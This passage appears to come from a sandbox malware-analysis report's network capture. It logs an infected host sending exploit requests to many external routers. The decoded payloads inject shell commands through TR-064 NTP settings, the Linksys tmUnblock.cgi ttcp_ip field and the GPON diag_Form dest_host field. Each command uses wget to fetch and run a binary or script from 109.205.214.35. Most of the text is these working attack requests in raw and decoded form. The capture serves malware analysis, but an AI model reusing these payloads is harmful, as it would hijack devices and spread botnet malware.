6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:01.933439016 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close
Mar 21, 2024 05:23:03.645545006 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.14	37164	74.38.35.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.186603069 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:02.643718004 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.14	38786	172.65.121.100	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.361891985 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.14	33008	172.255.81.16	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.402374983 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:02.540525913 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.14	40632	172.245.58.59	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.402477980 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:02.540640116 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.14	50176	172.65.180.135	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.462270021 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.14	45998	118.224.154.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478033066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.14	49510	2.0.91.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478085995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.14	34830	37.64.221.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478121996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.14	49920	79.121.210.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478142977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.14	46076	109.143.71.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478171110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.14	40606	37.220.150.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.478283882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.14	55448	173.234.194.192	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.541218042 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:13.339813948 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:13.452017069 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:02:16 GMT Content-Type: text/html Content-Length: 3157 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / 